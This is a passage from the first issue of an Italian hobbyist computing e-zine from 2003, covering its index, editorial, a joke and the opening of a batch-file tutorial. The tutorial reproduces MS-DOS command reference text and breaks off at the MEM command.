Copy Link
Add to Bookmark
Report

Gick-Zine 01

eZine's profile picture
Published in 
Gick Zine
 · 5 years ago

  

+--------------------------------------------------------------------------------+
| ________ __ __ __________ |
| / _____/|__| ____ | | __ \___ /__| ____ ____ |
| / \ ___| |/ ___\| |/ / ______ / /| |/ \_/ __ \ |
| \ \_\ \ \ \___| < /_____/ / /_| | | \ ___/ |
| \______ /__|\___ >__|_ \ /_____ \__|___| /\___ > |
| \/ \/ \/ \/ \/ \/ |
| |
| -=[{01}]=- |
| |
| SitoWeb: www.gick.cjb.net |
| e-m@il: mail@gick.cjb.net |
| |
| 01 Maggio 2003 |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| -=[DISCLAIMER]=- |
+--------------------------------------------------------------------------------+
| |
| Tutte le informazioni che troverete su questo txt sono da ritenersi a scopo |
| informativo, gli autori non si ritengono responsabili per l'uso che ne farete |
| o dei possibili danni che potreste causare a voi stessi o ad altri tramite |
| l'uso delle informazioni qui contenute. |
| |
| Anche se le cose qui esposte sono state testate, quindi non dovrebbero esserci |
| problemi gli autori non sono responsabili del mal funzionamento di programmi o |
| settaggi che, userete a vostro rischio e pericolo! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 -=[index]=- |
| INDICE -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Introduzione |
| |
| [@1] Editoriale -=(Gick)=- |
| [@2] Mail Lettori |
| [@3] Humor ?!?!?! |
| |
| Programmazione |
| |
| [01] Batch Programming {evilVal} |
| [02] NetBusFucker AntiLamer Bondo |
| [03] Lezioni di JavaScript n° 1 -=(Gick)=- |
| [04] Criptare con Visual Basic Termo Zlorfik |
| |
| Grafica |
| |
| [05] Ascii-Art Salvo B |
| [06] L'angolo della Demo Scene Gaetano |
| |
| Vari |
| |
| [07] Oggi mi monto un Web Server su Windows! [Screener_it] |
| [08] Oggi mi monto l'FTP su Windows [Screener_it] |
| [09] Trucchi Windows 9X Internet |
| [10] Manifesto CyberPunk CyberPunk |
| |
| Conclusione |
| |
| [#1] Cenni Finali -=(Gick)=- |
| [#2] Dove Trovarci -=(Gick)=- |
| |
| Allegati |
| |
| [*1] NetBusFucker.zip { [02] NetBusFucker AntiLamer } |
| [*2] JS_Lez_01.zip { [03] Lezioni di JavaScript n° 1 } |
| [*3] Encript.zip { [04] Criptare con Visual Basic } |
| [*4] Figlet.zip { [05] Ascii-Art } |
| [*5] Apache.zip { [07] Oggi mi monto un WebServer su Windows } |
| [*6] FictionalDaemon.zip { [08] Oggi mi monto l'FTP su Windows } |
| [*7] EditorGZ.zip { Editor di Testo per scrivere gli articoli } |
| |
+--------------------------------------------------------------------------------+

___ _ _ _
|_ _|_ __ | |_ _ __ ___ __| |_ _ ___(_) ___ _ __ ___
| || '_ \| __| '__/ _ \ / _` | | | |_ / |/ _ \| '_ \ / _ \
| || | | | |_| | | (_) | (_| | |_| |/ /| | (_) | | | | __/
|___|_| |_|\__|_| \___/ \__,_|\__,_/___|_|\___/|_| |_|\___|


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[@1]=- |
| Editoriale -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Benvenuti nella prima Uscita di questa Zine... |
| |
|In questa prima uscita ho aggiunto agli articoli creati dal gruppo altri artico-|
|li da me ritenuti opportuni scritti anche su altre Zine. |
| |
|Siete tutti invitati a inviare i vostri articoli a: articoli@gick.cjb.net e |
|saremo molto lieti di pubblicarli, premetto che questa Zine non vuole essere |
|come molte altre, che dicono tante cose e alla fine la metà delle persone non |
|capiscono nulla. Noi vogliamo creare una Zine che spiega poche cose ma le spiega|
|bene e sopratutto spiega cose concrete, non spiegheremo come hackare siti ecc...|
|Spiegheremo ad usare programmi, Trucchi e altre cose che tutti possono fare e |
|non cose che solo i guru si possono permettere! |
| |
|Spero di essermi "SPIEGATO"... quindi noi invitiamo tutti a scrivere e non solo |
|i "migliori", se hai trovato un modo per fare una cosa nel minor tempo possibile|
|scrivicela e noi la pubblicheremo. |
| |
|Inoltre il nostro gruppo è in continua crescita, se vuoi aggregarti chiedicelo! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[#1]=- |
| Mail Lettori |
+--------------------------------------------------------------------------------+
| |
| Questa sezione è dedicata a voi lettori, le domande che ci porrete saranno es- |
| poste in questa sezione con le relative risposte in quanto sia possibile... |
| Allora che aspettate, scriveteci per riempire questa sezione!!! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Introduzione] -=[#1]=- |
| Humor ?!?!?! |
+--------------------------------------------------------------------------------+
| |
| Tecnico: "Siccome questo modem non è Plug-n-Play, non può funzionare su Win3.11|
| Dovrà acquistarne uno nuovo oppure passare a Windows95"
|
| Cliente: "Ma ho usato questo modem con Win3.11 per un anno senza problemi!" |
| Tecnico: "Beh, ora non funziona!" |
| Cliente: "Ma se ha funzionato, perché ora non dovrebbe adare?" |
| Tecnico: "Beh, potrebbe essere stato colpito da un fulmine, e quindi ora può |
| funzionare solo con Windows95!!!"

| |
+--------------------------------------------------------------------------------+


____ _
| _ \ _ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ __ _ ___(_) ___ _ __ ___
| |_) | '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \ / _` |_ / |/ _ \| '_ \ / _ \
| __/| | | (_) | (_| | | | (_| | | | | | | | | | | | (_| |/ /| | (_) | | | | __/
|_| |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|\__,_/___|_|\___/|_| |_|\___|
|___/


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [Programmazione] -=[01]=- |
| Batch Programming ver 1.1 {evilVal} |
+--------------------------------------------------------------------------------+
|================================================================================|
|=====| |=====|
|=====| XXXx XXX XXXXX xXXx X X PROGRAMMING |=====|
|=====| X X X X X X X X |=====|
|=====| X X X X X X X X by -=< eViLVaL >=- |=====|
|=====| XXXX XXXXX X X XXXXX |=====|
|=====| X X X X X X X X ver 1.1 |=====|
|=====| X X X X X X X X |=====|
|=====| XXXX X X X XXXX X X digilander.iol.it/eViLVaL |=====|
|=====| |=====|
|================================================================================|
+--------------------------------------------------------------------------------+
| =======================|DISCLAIMER|======================== |
| ===|Questo manuale è stato scritto a scopo dimostrativo|=== |
| ===|Quello che farete dopo averlo letto non rientra nel|=== |
| ===|le mie responsabilità. Fatene buon uso. |=== |
| ===|Altra cosa ... se credete che abbia scritto solo |=== |
| ===|un mucchio di cazzate, siete liberissimi di farlo. |=== |
| ===|Solo, pregate che non trovi il vostro indirizzo di |=== |
| ===|posta elettronica :-) |=== |
| =========================================================== |
+--------------------------------------------------------------------------------+
| ==[ MENU ]== |
| |
| -01- COSA SONO I BATCH? |
| -02- COSA MI SERVE PER SCRIVERE UN BATCH? |
| -03- INIZIAMO A CAPIRE QUALCOSA |
| -04- L'USO DEI CARATTERI JOLLY |
| -05- IL COMANDO "ECHO" |
| -06- SCRIVIAMO IL NOSTRO PRIMO BATCH |
| -07- FACCIAMO PARTIRE IL NOSTRO BATCH |
| -08- INVENTIVA |
| -09- REDIREZIONARE L'OUTPUT |
| -10- L'USO DEL PIPELINE |
| -11- L'USO DEL COMANDO "FOR" |
| -12- L'USO DELL' IF EXIST / IF NOT EXIST |
| -13- L'USO DI "GOTO" |
| -14- L'USO DI "REM" |
| -15- L'USO DI "CHOICE" |
| -16- IL CARATTERE FANTASMA ALT 255 |
| -17- IL MISTERO (O IL BUG?) DEL CESTINO BASTARDO |
| -18- UN ESEMPIO DI BATCH CREATO DA ME |
| -19- RUNDLL32 - LE FUNZIONI OCCULTATE |
| -20- UNA MOSTRUOSITA' |
| -21- TIRANDO LE SOMME |
+--------------------------------------------------------------------------------+
| |
|-=< 1 >=- COSA SONO I BATCH ? |
| |
|Tempo fa (parliamo di anni), le interfacce grafiche non erano molto diffuse |
|e i sistemi operativi erano per lo piu' a stringa di testo, come ad esempio |
|Microsoft MsDos®. |
| |
|Chi doveva lavorare con sistemi come questi aveva una problematica principale, |
|cioè il continuare a ripetere le stesse operazioni più e più volte. |
|Ad esempio, se ad ogni sessione l'utente necessitava di spostare delle cartelle,|
|dei files o qualcos'altro, doveva continuare a digitare dei comandi molto |
|ripetitivi. |
| |
|Per questo motivo sono stati introdotti due modi di velocizzare il lavoro. |
|Le "DOSKEY" e i "BATCH". |
| |
|Le DOSKEY consistevano nel caricare in memoria una sequenza di comandi da poter|
|caricare digitando un nome prefissato. Voglio dire, potevo decidere che digitan-|
|do "lavora" il computer si mettesse a spostarmi una cartella o a eliminarmi dei |
|files inutili. |
|Le DOSKEY pero' andavano ripristinate ad ogni avvio del computer, e per questo |
|non vennero molto usate. |
| |
|L'altro modo, quello che ci interessa, sono i BATCH. |
|I BATCH sono dei piccolissimi files con estensione .BAT che racchiudono all'in- |
|terno dei comandi di DOS. Una volta avviati, eseguono tutti quei comandi di fila|
|e si arrestano soltanto premendo Ctrl+C. |
|La differenza sostanziale con le DOSKEY è che i batch sono FILES mentre le |
|DOSKEY no. E i BATCH restano ... eccome se restano! |
+--------------------------------------------------------------------------------+
| |
|-=< 2 >=- COSA MI SERVE PER SCRIVERE UN BATCH |
| |
|Va benone il Prompt di MsDos o un qualsiasi editor di testo BASICO come il |
|diffusissimo NOTEPAD. Ahem ... WORD non va bene! Er mejo resta MsDos... |
+--------------------------------------------------------------------------------+
| |
|-=< 3 >=- INIZIAMO A CAPIRE QUALCOSA |
| |
|Qua di seguito voglio listare tutti i comandi di MsDos, anche perchè se non |
|conoscete a fondo i comandi principali , col cazzo che farete dei grandi BATCH! |
| |
|MS-DOS, come gli altri sistemi eperativi, gestisce il flusso di informazioni tra|
|le varie parti del sistema. Quando si digita o si sceglie un comando per |
|indicare al sistema di eseguire una determinata operazione, si utilizza MS-DOS. |
|Le versioni piu' recenti del sistema operativo della Microsoft ( dalla ver. 5.0 |
|alla 6.22, ma anche la ver. 7.0 contenuta in Windows 9.x) consentono di gestire|
|file e directory, curare la manutenzione dei dischi, ottimizzare l'uso della |
|memoria, velocizzare i programmi. |
+--------------------------------------------------------------------------------+
|Qui di seguito sono riportati i comandi di uso comune. |
| |
| ATTRIB Visualizza o modifica gli attributi dei file. |
| CD Cambia la directory corrente o ne visualizza il nome. |
| CHDIR Cambia la directory corrente o ne visualizza il nome. |
| CHKDSK Verifica il disco e visualizza una relazione sul suo stato. |
| CLS Cancella il contenuto della schermata. |
| COMMAND Avvia un nuovo inteprete dei comandi MS-DOS. |
| COPY Copia uno o piu' file in un altro punto del disco. |
| DEFRAG Riorganizza i file su un disco per ottimizzarne l'uso. |
| DEL Elimina uno o piu' file. |
| DELTREE Elimina una directory e tutti i file in essa contenuti. |
| DIR Visualizza l'elenco dei file e delle subdirectory di una directory. |
| DISKCOPY Copia il contenuto di un disco floppy in un altro disco floppy. |
| DOSKEY Modifica righe di comando, chiama comandi di MS-DOS e crea macro. |
| EDIT Avvia MS-DOS Editor per creare e modificare i file ASCII. |
| EMM386 Abilita o disabilita la memoria espansa di EMM386. |
| EXPAND Decomprime uno o piu' file compressi. |
| FDISK Configura un disco rigido per l'utilizzo con MS-DOS. |
| FORMAT Formatta un disco per l'utilizzo con MS-DOS. |
| KEYB Configura la tastiera per la lingua specificata. |
| LABEL Crea, modifica o elimina l'etichetta di volume di un disco. |
| MD Crea una nuova directory. |
| MEM Visualizza la quantità di memoria usata e libera del sistema. |
| MKDIR Crea una nuova directory. |
| MORE Visualizza i dati di output una schermata per volta. |
| PATH Visualizza o imposta un percorso di ricerca per i file eseguibili. |
| PRINT Stampa un file di testo consentendo di usare altri comandi di MSDOS. |
| PROMPT Cambia il prompt dei comandi di MS-DOS. |
| RD Rimuove una directory. |
| REN Rinomina uno o piu' file. |
| RENAME Rinomina uno o piu' file. |
| REPLACE Sostituisce i file. |
| RMDIR Rimuove una directory. |
| SUBST Associa un percorso ad una lettera di unità. |
| SYS Copia i file di sistema di MS-DOS e l'inteprete dei comandi. |
| TYPE Visualizza il contenuto di un file di testo. |
| UNDELETE Ripristina i file cancellati precedentemente con il comando DEL. |
| UNFORMAT Ripristina i dati di un disco cancellati con il comando FORMAT. |
| VER Visualizza la versione di MS-DOS in uso. |
| VOL Visualizza l'etichetta e il numero di serie di volume del disco. |
| XCOPY Copia i file (esclusi nascosti di sistema) e la struttura delle directory|
+--------------------------------------------------------------------------------+
| |
| ATTRIB |
| |
|Visualizza o modifica gli attributi dei file. |
|Questo comando visualizza, imposta o rimuove gli attributi assegnati ai file e |
|alle directory, quali l'attributo di sola lettura, di archivio, di file di |
|sistema e di file nascosto. |
| |
| ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H][[unita':][percorso]nomefile] [/S] |
| |
| Opzioni |
| +R Imposta l'attributo di sola lettura. |
| -R Disattiva l'attributo di sola lettura. |
| +A Imposta l'attributo archivio. |
| -A Disattiva l'attributo archivio. |
| +S Imposta il file come file di sistema. |
| -S Disattiva l'attributo di file di sistema. |
| +H Imposta il file come file nascosto. |
| -H Disattiva l'attributo di file nascosto. |
| /S Elabora i file presenti nella directory ed in tutte le sottodirectory. |
+--------------------------------------------------------------------------------+
| |
| DISKCOPY |
| |
|Copia il contenuto di un disco floppy nell'unita' di origine su un floppy |
|formattato o non formattato inserito nell'unita' di destinazione. Il comando |
|DISKCOPY cancella il contenuto del disco di destinazione sovrascrivendovi i |
|nuovi dati. |
|Questo comando determina il numero di facce da copiare in base all'unita' e al |
|disco di origine. |
| |
| DISKCOPY [unita'1: [unita'2:]] [/1] [/V] [/M] |
| |
| Opzioni |
| /V Verifica che le informazioni vengano copiate correttamente. L'utilizzo di |
| questa opzione rallenta l'operazione. |
| /M Indica a DISKCOPY di usare solo memoria convenzionale per memorizzazioni |
| provvisorie. DISKCOPY usa di solito il disco rigido per tale operazione, |
| sicche' non si debbono scambiare i floppy. |
+--------------------------------------------------------------------------------+
| |
| CHDIR (CD) |
| |
|Visualizza il nome della directory corrente oppure cambia la directory corrente.|
| |
| CHDIR [unita':][path] |
| CHDIR[..] |
| CD [unita':][percorso] |
| CD[..] |
+--------------------------------------------------------------------------------+
| |
| CHKDSK |
| |
|Genera e visualizza una relazione sullo stato del disco e riporta gli errori |
|individuati sul disco. |
|Il rapporto sullo stato mostra gli errori rilevati nel sistema di archiviazione |
|MS-DOS, consistente nella tavola allocazione file e nelle directory. |
|Anche CHKDSK fornisce un riepilogo dell'uso del disco. (CHKDSK non verifica che |
|le informazioni nei file possano essere lette senza errori.) Se vi sono errori |
|su disco, CHKDSK visualizza un messaggio. |
|Note: Il programma ScanDisc e' il metodo consigliato per correggere problemi |
| su disco, da preferire al comando CHKDSK /F. Per ulteriori informazioni, |
| vedere il comando. |
| |
| CHKDSK [unita':][[percorso] nomefile] [/F] [/V] |
| |
| Opzioni |
| /F Corregge gli errori su disco. Non utilizzare questa opzione se si sta |
| eseguendo CHKDSK da altri programmi. Per ulteriori informazioni, consultare|
| "Utilizzo di CHKDSK con file aperti". In generale, per correggere gli |
| errori del disco, utilizzare invece di CHKDSK. |
| /V Visualizza il nome di ciascun file contenuto in tutte le directory, durante|
| il controllo del disco. |
+--------------------------------------------------------------------------------+
| |
| COPY |
| |
|Copia uno o piu' file in un'altra posizione. |
|Il comando COPY puo' essere utilizzato anche per unire file. Se vengono copiati |
|piu' file, MS-DOS visualizza il nome di ciascun file man mano che viene copiato.|
| |
| COPY [Y|-Y][/A|/B] origine[/A|/B] [+ origine[/A|/B] [+ |
| ...]][destinazione [/A|/B]] [/V] |
| |
| Opzioni |
| /A Indica un file di testo ASCII. L'opzione /A ha effetto su tutti i file che |
| essa precede nell'elenco dei nomi di file sulla riga di comando, fino a |
| quando COPY non incontra un'opzione /B. In tal caso, l'opzione /B ha |
| effetto su tutti i file che la precedono. |
| Quando l'opzione /A segue un nome di file, essa avra' effetto su quel file |
| e su tutti i file ad essa successivi, fino a quando COPY non incontra |
| l'opzione /B. In tal caso, l'opzione /B avra' effetto su tutti i file che |
| la precedono. |
| Un file di testo ASCII puo' utilizzare il carattere di fine file (CTRL+Z) |
| per indicare la fine di un file. Durante l'unione di file, il comando COPY |
| considera per definizione i file come file di testo ASCII. |
| /B Indica un file binario. L'opzione /B ha effetto su tutti i file che la |
| precedono sulla riga di comando, fino a quando il comando COPY non incontra|
| un'opzione /A. In tal caso, l'opzione /A avra' effetto su tutti i file che |
| la precedono. |
| Se l'opzione /B segue un nome di file, essa avra' effetto su quel file e su|
| tutti i file ad essa successivi, fino a quando COPY non incontra un'opzione|
| /A. In tal caso, l'opzione /A avra' effetto su tutti i file che la |
| precedono. |
| L'opzione /B specifica che l'interprete dei comandi deve leggere il numero |
| di byte specificati dalle dimensioni dei file nella directory. |
| L'opzione /B e' il valore predefinito di COPY, tranne quando esso sta |
| unendo dei file. |
+--------------------------------------------------------------------------------+
| |
| DEFRAG |
| |
|Riorganizza i file su un disco per ottimizzare le prestazioni del disco stesso. |
|Non utilizzare questo comando durante l'esecuzione di Windows. |
| |
| DEFRAG [unita':] [/F] [/S[:]ordine] [/B] [/SKIPHIGH] [/LCD | /BW | /G0] [/H] |
| DEFRAG [unita':] [/U] [/B] [/SKIPHIGH] [/LCD | /BW | /G0] [/H] |
| |
| Opzioni |
| /F Compatta i file e garantisce che nel disco non siano presenti spazi vuoti |
| tra i file. |
| /U Compatta i file e lascia spazi vuoti, se presenti, tra i file. |
| /B Riavvia il computer dopo avere riorganizzato i file. |
| /H Sposta file nascosti |
+--------------------------------------------------------------------------------+
| |
| DEL (Erase) |
| |
|Elimina i file specificati. |
| |
| DEL [unita':][percorso] nomefile [/P] |
| |
| Opzione |
| /P Chiede conferma prima di eliminare il file specificato. |
+--------------------------------------------------------------------------------+
| |
| DELTREE |
| |
|Elimina una directory con tutti i file e sottodirectory relative. |
| |
| DELTREE [/Y] [unita':]percorso [[drive:]percorso[...]] |
+--------------------------------------------------------------------------------+
| |
| DIR |
| |
|Visualizza l'elenco dei file e delle sottodirectory di una directory. |
|Quando si utilizza il comando DIR senza parametri od opzioni, esso visualizza |
|l'etichetta di volume e il numero di serie del disco. Visualizza inoltre una |
|directory o un file per riga, inclusa l'estensione del file, la relativa |
|dimensione in byte e la data e l'ora dell'ultima modifica. Infine, il comando |
|riporta il numero totale dei file elencati, la quantita' totale di memoria |
|occupata ed il numero di byte lasciati liberi sul disco. |
| |
| DIR [unita':][percorso][nomefile] [/P] [/W] |
| [/A[[:]attributi]][/O[[:]tipoordinamento]] [/S] [/B] [/L] [C] |
| |
| Opzioni |
| /P Visualizza l'elenco una schermata per volta. Per passare alla schermata |
| successiva, e' sufficiente premere un tasto. |
| /W Visualizza l'elenco in formato ampio, elencando fino a cinque file o |
| directory per riga. |
| /A[[:] attributi] visualizza solo le directory e i file con gli attributi |
| specificati. Se questa opzione viene omessa, il comando DIR visualizza |
| tutti i file tranne quelli nascosti e di sistema. Se l'opzione viene |
| utilizzata senza specificare gli attributi, DIR visualizza tutti i file, |
| compresi quelli nascosti e di sistema. L'elenco che segue descrive ciascuno|
| dei valori che e' possibile utilizzare per attributi. I due punti (:) sono |
| facoltativi. E' possibile utilizzare una qualsiasi combinazione di questi |
| valori senza separarli con spazi. |
| H File nascosti |
| -H File non nascosti |
| S File di sistema |
| -S File non di sistema |
| D Directory |
| -D Solo file (escluse le directory) |
| A File pronti per essere archiviati (backup) |
| -A File che non sono stati modificati dall'ultimo backup |
| R File di sola lettura |
| -R File non di sola lettura |
+--------------------------------------------------------------------------------+
| |
| DOSKEY |
| |
|Doskey e' un programma residente in memoria e viene utilizzato per personalizare|
|e automatizzare la riga di comando MS-DOS. Quando viene installato, Doskey |
|occupa circa 3 Kb di memoria residente. |
| |
| DOSKEY [/REINSTALL] [/BUFSIZE=dimensione] [/MACROS] |
| [/HISTORY][/INSERT|/OVERSTRIKE] [nomemacro=[testo]] |
+--------------------------------------------------------------------------------+
| |
| EDIT |
| |
|Avvia MS-DOS Editor che consente di creare e modificare file di testo ASCII. |
|MS-DOS Editor e' un editor a schermo intero che consente di creare, modificare, |
|memorizzare e stampare file di testo ASCII. In MS-DOS Editor e' possibile |
|scegliere i comandi da menu e specificare le informazioni e le preferenze nelle |
|finestre di dialogo. MS-DOS Editor comprende un'ampia Guida in linea per |
|richiedere informazioni relative alle sue procedure ed ai suoi comandi. |
| |
| EDIT [[unita':][percorso]nomefile] [/B] [/G] [/H] [/NOHI] |
| |
|ATTENZIONE: Per poter utilizzare MS-DOS Editor e' necessario che il file |
|QBASIC.EXE si trovi nella directory corrente, nel relativo percorso di ricerca |
|o nella stessa directory del file EDIT.COM. Se il file QBASIC.EXE viene |
|eliminato per liberare spazio sul disco MS-DOS Editor non potra' essere eseguito|
+--------------------------------------------------------------------------------+
| |
| EMM386 |
| |
|Abilita o disabilita il supporto di memoria espansa EMM386 su un computer con |
|processore 80386 o superiore. Il comando EMM386 abilita o disabilita anche il |
|supporto del coprocessore Weitek. Non utilizzare questo comando durante |
|l'esecuzione di Windows. Esso inoltre provvede supporto di memoria espansa e |
|accesso alla memoria superiore. Per un'introduzione sull'utilizzo dei driver di |
|periferica EMM386.EXE, vedere. |
| |
| EMM386 [ON|OFF|AUTO] |
| |
|Per visualizzare lo stato attuale del supporto di memoria espansa EMM386, utiliz|
|zare la sintassi seguente: EMM386 |
| |
| Parametri |
| ON|OFF|AUTO |
| Attiva il driver di periferica EMM386.EXE (se impostato su ON), sospende il |
| driver di periferica EMM386.EXE (se impostato su OFF) oppure posiziona il |
| driver di periferica EMM386.EXE in modalita' automatica se impostato su AUTO.|
| La modalita' automatica abilita il supporto di memoria espansa solamente |
| quando un programma lo richiede. Il valore predefinito ON. |
+--------------------------------------------------------------------------------+
| |
| EXPAND |
| |
|Espande un file compresso. E' possibile utilizzare questo comando per recuperare|
|uno o piu' file dai dischi di installazione o di aggiornamento inclusi nel |
|pacchetto di MS-DOS 6.22. I file non possono essere utilizzati finche' non |
|vengono decompressi. |
| |
| EXPAND [unita':][percorso]nomefile [[unita':] |
| [percorso]nomefile[...]] destinazione |
| |
|Se viene digitato quanto segue, EXPAND chiedera' di immettere la posizione e/o |
|il nome che si desidera assegnare al file espanso: |
| |
| EXPAND [unita':][percorso]nomefile |
| |
|EXPAND chiedera' di immettere la posizione e il nome del file compresso da |
|espandere, quindi la posizione e/o il nome da assegnare al file espanso, se si |
|digita quanto segue: EXPAND |
+--------------------------------------------------------------------------------+
| |
| FDISK |
| |
|Avvia il programma Fdisk, che configura il disco rigido per l'utilizzo di MSDDOS|
|Fdisk visualizza una serie di menu per facilitare la suddivisione in partizioni |
|del disco rigido per MSDDOS. |
| |
| FDISK |
| |
|Per visualizzare le informazioni sulla partizione senza avviare il programma |
|Fdisk, utilizzare la seguente sintassi: FDISK /STATUS |
| |
| Opzioni |
| /STATUS |
| Visualizza una panoramica delle partizioni del disco rigido del computer, |
| senza avviare il programma Fdisk. |
+--------------------------------------------------------------------------------+
| |
| FORMAT |
| |
|Formatta il disco nell'unita' specificata per accettare i file di MSDDOS. |
|Il comando FORMAT crea una nuova directory principale e una tabella di |
|assegnazione dei file per il disco. E' anche possibile controllare le aree |
|danneggiate sul disco ed eliminare tutti i dati sul disco. Per consentire a |
|MSDDOS di utilizzare un disco nuovo, utilizzare innanzi tutto questo comando per|
|formattare il disco. |
| |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/F:dimensione][/B|/S] [/C] |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/T:tracce /N:settori] [/B|/S][/C] |
| FORMAT unita': [/V[:etichetta]] [/Q] [/U] [/1] [/4] [/B|/S] [/C] |
| FORMAT unita': [/Q] [/U] [/1] [/4] [/8] [/B|/S] [/C] |
| |
|Avvertenza: Non formattare un disco floppy in misura maggiore a quella attribui |
|tagli. Se il disco e' stato formattato e non si sta utilizzando il parametro /U,|
|la vecchia tabella di assegnazione dei file e la directory principale verranno |
|salvate per poter annullare la formattazione del disco. Se e' stato formattato |
|il disco sbagliato utilizzare il comando il piu' presto possibile. |
| |
| Opzioni |
| /Q Specifica una formattazione veloce di un disco. Tramite questa opzione, |
| FORMAT elimina la tabella di assegnazione dei file (FAT) e la directory |
| principale di un disco formattato in precedenza, ma non esamina il disco |
| per verificare la presenza di aree danneggiate. Si dovrebbe utilizzare |
| l'opzione /Q per formattare solo dischi gia' formattati in precedenza che |
| non sono sicuramente danneggiati. |
| /U Specifica un'operazione di formattazione incondizionata per un disco |
| floppy o un disco rigido. La formattazione incondizionata distrugge tutti i|
| dati esistenti sul disco ed impedisce di annullare la formattazione in un |
| secondo tempo. E' consigliabile utilizzare /U se sono stati visualizzati |
| messaggi di errori di lettura e di scrittura durante l'utilizzo del disco. |
| Per informazioni relative alla non formattazione dei dischi, vedere il |
| comando UNFORMAT. |
| /F:size |
| Specifica la dimensione del disco floppy da formattare. Se possibile, |
| utilizzare questa opzione, invece delle opzioni /T e /N. Utilizzare uno dei|
| seguenti valori per la dimensione: 720, 1440 . |
| /B Riserva dello spazio per i file di sistema IO.SYS e MSDOS.SYS su un disco |
| appena formattato (come file nascosti). Nelle versioni precedenti di MSDDOS|
| era necessario riservare questo spazio prima di utilizzare il comando SYS |
| per copiare i file di sistema sul disco. Questa opzione viene mantenuta |
| MSDDOS versione 6.0 solo per ragioni di compatibilita'. |
| /S Copia i file di sistema in uso IO.SYS, MSDOS.SYS e COMMAND.COM dall'unita' |
| disco di avvio del sistema su un disco formattato che puo' essere utilizzat|
| come disco di sistema. Se FORMAT non riesce a trovare i file di sistema in |
| uso, richiede l'inserimento di un disco di sistema. |
| /C Ricontrolla i cluster danneggiati. Per impostazione predefinita, se un |
| unita' contiene cluster segnati come "danneggiati" FORMAT non ricontrolla i|
| cluster; li lascia semplicemente segnati come "danneggiati". Utilizzare |
| l'opzione /C se si desidera che FORMAT ricontrolli tutti i cluster |
| danneggiati sull'unita'. (Nelle versioni precedenti di MS-DOS FORMAT |
| ricontrollava sempre i cluster danneggiati.) |
+--------------------------------------------------------------------------------+
| |
| KEYB |
| |
|Avvia il programma Keyb che configura una tastiera in base ad una lingua scelta |
|Utilizzare Keyb per configurare una tastiera per una lingua diversa dall'inglese|
|statunitense. Per un'introduzione al programma Keyb, vedere il capitolo |
|"Personalizzazione per uso internazionale"nel Manuale dell'utente di MS-DOS. |
| |
| KEYB [xx[,[yyy][,[unita' disco:][percorso]nomefile]]] [/E] [/ID:nnn] |
| |
| Parametri |
| xx Specifica il codice della tastiera. Vedere la tabella alla fine dell'argo- |
| mento per un elenco dei valori validi per questo parametro. |
| yyy Specifica la tabella codici. Vedere la tabella alla fine dell'argomento per|
| un elenco dei valori validi per questo parametro. Se non viene specificato |
| un valore, KEYB utilizza la tabella codici corrente. |
| [unita':][percorso]nomefile |
| Specifica la posizione ed il nome del file di definizione della tastiera. |
| Il nome del file predefinito e' KEYBOARD.SYS. Se KEYBOARD.SYS si trova in |
| una directory inclusa nel percorso, non sara' necessario specificare questo |
| parametro. (MS-DOS 6.22 include due file di definizione della tastiera: il |
| file predefinito KEYBOARD.SYS, e KEYBRD2.SYS, che fornisce supporto per |
| tastiere non incluse in KEYBOARD.SYS. Per informazioni sull'utilizzo di |
| KEYBRD2.SYS, vedere il file COUNTRY.TXT file.) |
| |
| [unita'-dos:]percorso dos |
| Specifica la posizione del file KEYB.COM. |
| |
| Opzioni |
| /E Indica che la tastiera installata e' avanzata. tale opzione risulta utile se|
| si utilizza una tastiera avanzata su un computer 8086. |
| /ID:nnn |
| Specifica il tipo di tastiera in uso. Questa opzione e' necessaria solo per |
| i paesi che hanno piu' schemi di tastiera per la stessa lingua (Francia, |
| Italia e Regno Unito). |
+--------------------------------------------------------------------------------+
| |
| LABEL |
| |
|Crea, modifica o elimina l'etichetta di volume (nome) di un disco. |
|MS-DOS visualizza l'etichetta di volume all'interno dell'elenco della directory.|
|MS-DOS visualizza anche il numero di serie del volume, se e' disponibile. |
| |
|LABEL [unita':][etichetta] |
| |
|Per indicare a MS-DOS di visualizzare l'etichetta di volume ed il numero di seri|
|correnti, se esistono, e di richiedere l'immissione di un'etichetta o l'elimina-|
|zione di quella esistente, utilizzare la seguente sintassi: LABEL |
+--------------------------------------------------------------------------------+
| |
| MEM |
| |
|Visualizza la quantita' di memoria utilizzata e la quantita' di memoria libera |
|nel sistema. |
|E' possibile utilizzare il comando MEM per visualizzare le informazioni |
|relative alle aree di memoria utilizzate, alle aree di memoria libere ed ai |
|programmi caricati in memoria. |
| |
| MEM [/CLASSIFY|/DEBUG|/FREE|/MODULE nomemodulo] [/PAGE] |
| |
|Per visualizzare lo stato della memoria utilizzata e della memoria libera del |
|sistema, utilizzare la seguente sintassi: MEM |
| |
| Opzioni |
| /CLASSIFY |
| Elenca i programmi che sono stati caricati effettivamente nella memoria e |
| visualizza la quantita' di memoria convenzionale e di memoria superiore utiliz|
| zata da ogni programma. MEM /CLASSIFY fornisce anche un sommario dell'utilizzo|
